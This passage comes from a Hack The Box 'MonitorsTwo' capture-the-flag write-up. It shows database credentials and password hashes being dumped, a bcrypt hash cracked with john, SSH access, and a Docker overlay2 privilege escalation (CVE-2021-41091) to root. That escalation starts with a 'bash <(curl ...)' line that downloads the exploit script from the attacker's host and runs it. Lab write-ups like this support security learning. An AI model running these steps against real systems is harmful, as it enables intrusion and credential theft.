INSERT INTO user_auth VALUES (3,'guest','43e9a4ab75570f5b',0,'Guest Account','','on','on','on','on','on',3,1,1,1,1,1,'',-1,-1,'-1','',0,0,0);
[...]
Undecided between a simple hexadecimal algorithm or an MD5, it was enough for me to search for the string online to discover the very mysterious password of the admin user.
However, the password must have been changed, as I cannot access the portal. Another interesting file was the config.php in the include folder.
[...]
/*
* Make sure these values reflect your actual database/host/user/password
*/
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
/*
* When the cacti server is a remote poller, then these entries point to
* the main cacti server. Otherwise, these variables have no use and
* must remain commented out.
*/
#$rdatabase_type = 'mysql';
#$rdatabase_default = 'cacti';
#$rdatabase_hostname = 'localhost';
#$rdatabase_username = 'cactiuser';
#$rdatabase_password = 'cactiuser';
#$rdatabase_port = '3306';
#$rdatabase_retries = 5;
#$rdatabase_ssl = false;
#$rdatabase_ssl_key = '';
#$rdatabase_ssl_cert = '';
#$rdatabase_ssl_ca = '';
[...]
Try to connect to the MySQL server. Unfortunately, I can’t spawn a tty shell and the mysql command line seems to not answer in the best way, so I have to execute commands manually using the mysql command line execution argument.
$ mysql -h db -u root -p cacti -e "show databases;"
Enter password: root
Database
information_schema
cacti
mysql
performance_schema
sys
$ mysql -h db -u root -p cacti -e "select * from user_auth;"
Enter password: root
id username password realm full_name email_address must_change_password password_change show_tree show_list show_preview graph_settings login_opts policy_graphs policy_trees policy_hosts policy_graph_templates enabled lastchange lastlogin password_history locked failed_attempts lastfail reset_perms
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC 0 Jamie Thompson admin@monitorstwo.htb on on on on on 2 1 1 11 on -1 -1 -1 0 0 663348655
3 guest 43e9a4ab75570f5b 0 Guest Account on on on on on 3 1 1 1 1 1 -1 -1 -1 00 0
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C 0 Marcus Brune marcus@monitorstwo.htb on on on on 1 1 1 11 on -1 -1 on 0 0 2135691668
Well, the admin user changed his password and a new user appeared in the list… we have a couple of interesting passwords to try and crack.
Let’s that hashcat tries to identify the algorithm of the hashing method.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/crk]
└─$ hashcat pwd.hash
hashcat (v6.2.6) starting in autodetect mode
/sys/class/hwmon/hwmon4/temp1_input: No such file or directory
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-penryn-Intel(R) Core(TM)2 Duo CPU T8300 @ 2.40GHz, 1406/2876 MB (512 MB allocatable), 2MCU
No hash-mode matches the structure of the input hash.
Started: Mon May 15 15:38:03 2023
Stopped: Mon May 15 15:38:15 2023
Mmmm, not so lucky today. Let’s try with my friend john!
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/crk]
└─$ john pwd.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
funkymonkey (marcus)
Definitely better.
Even though he’s a portal user, he seems to have trouble logging in, but it’s much better if you use him to log in over ssh!
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ ssh marcus@10.10.11.211
The authenticity of host '10.10.11.211 (10.10.11.211)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.211' (ED25519) to the list of known hosts.
marcus@10.10.11.211's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 15 May 2023 09:02:46 PM UTC
System load: 0.0
Usage of /: 64.1% of 6.73GB
Memory usage: 34%
Swap usage: 0%
Processes: 292
Users logged in: 1
IPv4 address for br-60ea49c21773: 172.18.0.1
IPv4 address for br-7c3b7c0d00b3: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.211
IPv6 address for eth0: dead:beef::250:56ff:feb9:ff04
=> There is 1 zombie process.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Mon May 15 20:40:13 2023 from 10.10.14.169
marcus@monitorstwo:~$ cat user.txt
2******************************a
Thus obtaining the user flag! At first glance, it seems like I can’t do much with this user, so let’s download linpeas and make it available from our native php web server.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230514-85dabdc9/linpeas.sh
--2023-05-16 15:36:42-- https://github.com/carlospolop/PEASS-ng/releases/download/20230514-85dabdc9/linpeas.sh
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/1f1f0080-bb74-490c-ac12-16e66dcb0699?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230516%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230516T193601Z&X-Amz-Expires=300&X-Amz-Signature=267efcd94629b388ffc0decf9f86725f34b28929ad55df95f9a745fcb504ef9d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream [following]
--2023-05-16 15:36:43-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/1f1f0080-bb74-490c-ac12-16e66dcb0699?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230516%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230516T193601Z&X-Amz-Expires=300&X-Amz-Signature=267efcd94629b388ffc0decf9f86725f34b28929ad55df95f9a745fcb504ef9d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 835306 (816K) [application/octet-stream]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=============================================================================================================>] 815.73K 2.89MB/s in 0.3s
2023-05-16 15:36:43 (2.89 MB/s) - ‘linpeas.sh’ saved [835306/835306]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ php -S 10.10.14.69:80
[Tue May 16 15:37:25 2023] PHP 8.2.4 Development Server (http://10.10.14.69:80) started
This time I don’t seem to have found much of interest in the linpeas session, apart from an open port locally; we will investigate this shortly. Let’s try to take a look at the suggested CVEs, even if by now, most of the time they are false positives.
If I really can’t find anything else, I’ll come back to it.
marcus@monitorstwo:~$ curl http://127.0.0.1:35077/ -v
* Trying 127.0.0.1:35077...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 35077 (#0)
> GET / HTTP/1.1
> Host: 127.0.0.1:35077
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Tue, 16 May 2023 20:15:22 GMT
< Content-Length: 19
< Content-Type: text/plain; charset=utf-8
<
* Connection #0 to host 127.0.0.1 left intact
404: Page Not Found
It doesn’t seem to come back to me much. I can’t find any info on which process is using port 35077 with the conventional methods (netstal, lsof, ecc…). After double-checking the CVEs suggested by linpeas, but without getting any success, I started reading posts in the official HTB forum. Many users talk about SUID and docker (things I’ve already checked among other things but maybe not good enough at this point). So I focus on these two clues.
Files available with SUID permissions don’t help me and I can’t even launch docker commands due to lack of permissions. Searching for some exploits I find a lot of docker stuff.
The docker version available on the machine could help me identify a specific exploit.
marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88
I download the results for an easier search (fortunately it’s only two pages). I import the data into an excel file and perform a quick search based on the docker version in the BOX. Three results come out.
The CVE-2021-41092 (execution vulnerability), CVE-2021-21285 (unknown) and CVE-2021-21284 (Traversal path vulnerability).
The CVE-2021-41092 inspires me, it allows the execution of commands following a login to a personal docker registry, I look for some exploits, but I can’t find anything useful and even by approaching some personal experiments, I get nothing. CVE-2021-21285 doesn’t really work for me, causing the docker daemon to crash when pulling an image (which I can’t do due to a lack of permissions, among other things). The CVE-2021-21284 remains for which I can’t find anything as interesting as the previous ones. After a while, I search online for some other exploits on the specific version (Docker 20.10.5 exploit) and among the first results there is an interesting git repository.
The exploit is not on the docker CLI, but on the docker engine itself (the Moby). Taking a look at the script and executing some commands from the BOX’s shell to understand if the vulnerability is actually present, I don’t get excellent results, but trying doesn’t cost anything anyway, so I download the script on my machine and then execute it, as always, without a trace!
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ wget https://raw.githubusercontent.com/UncleJ4ck/CVE-2021-41091/main/exp.sh
--2023-05-20 06:09:32-- https://raw.githubusercontent.com/UncleJ4ck/CVE-2021-41091/main/exp.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2446 (2.4K) [text/plain]
Saving to: ‘exp.sh’
exp.sh 100%[=============================================================================================================>] 2.39K --.-KB/s in 0.002s
2023-05-20 06:09:32 (1.03 MB/s) - ‘exp.sh’ saved [2446/2446]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.211 - MonitorsTwo (lin)/attack/upld]
└─$ php -S 10.10.14.78:80
[Sat May 20 06:09:35 2023] PHP 8.2.4 Development Server (http://10.10.14.78:80) started
Ready!
marcus@monitorstwo:/tmp$ bash <(curl -s http://10.10.14.78/exp.sh)
[!] Vulnerable to CVE-2021-41091
[!] Now connect to your Docker container that is accessible and obtain root access !
[>] After gaining root access execute this command (chmod u+s /bin/bash)
Did you correctly set the setuid bit on /bin/bash in the Docker container? (yes/no): yes
[!] Available Overlay2 Filesystems:
/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Iterating over the available Overlay2 filesystems !
[?] Checking path: /var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
[x] Could not get root access in '/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged'
[?] Checking path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[!] Rooted !
[>] Current Vulnerable Path: /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
[?] If it didn't spawn a shell go to this path and execute './bin/bash -p'
[!] Spawning Shell
bash-5.1# exit
marcus@monitorstwo:/tmp$ cd /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged$ ./bin/bash -p
bash-5.1# whoami
root
bash-5.1# ls -la /root/root.txt
-rw-r----- 1 root root 33 May 20 02:50 /root/root.txt
bash-5.1# cat /root/root.txt
6******************************6
Woooo, what a fantastic surprise, even if from the preliminary tests it didn’t seem feasible to me. Anyway, another interesting BOX indeed. As always, while waiting for another machine, have good hacking. That’s all folks.
https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png00https://www.backbox.org/wp-content/uploads/2018/09/website_backbox_text_black.png2024-11-24 15:06:432024-11-24 15:06:43These alternatives to popular apps can help reclaim your online life from billionaires and surveillance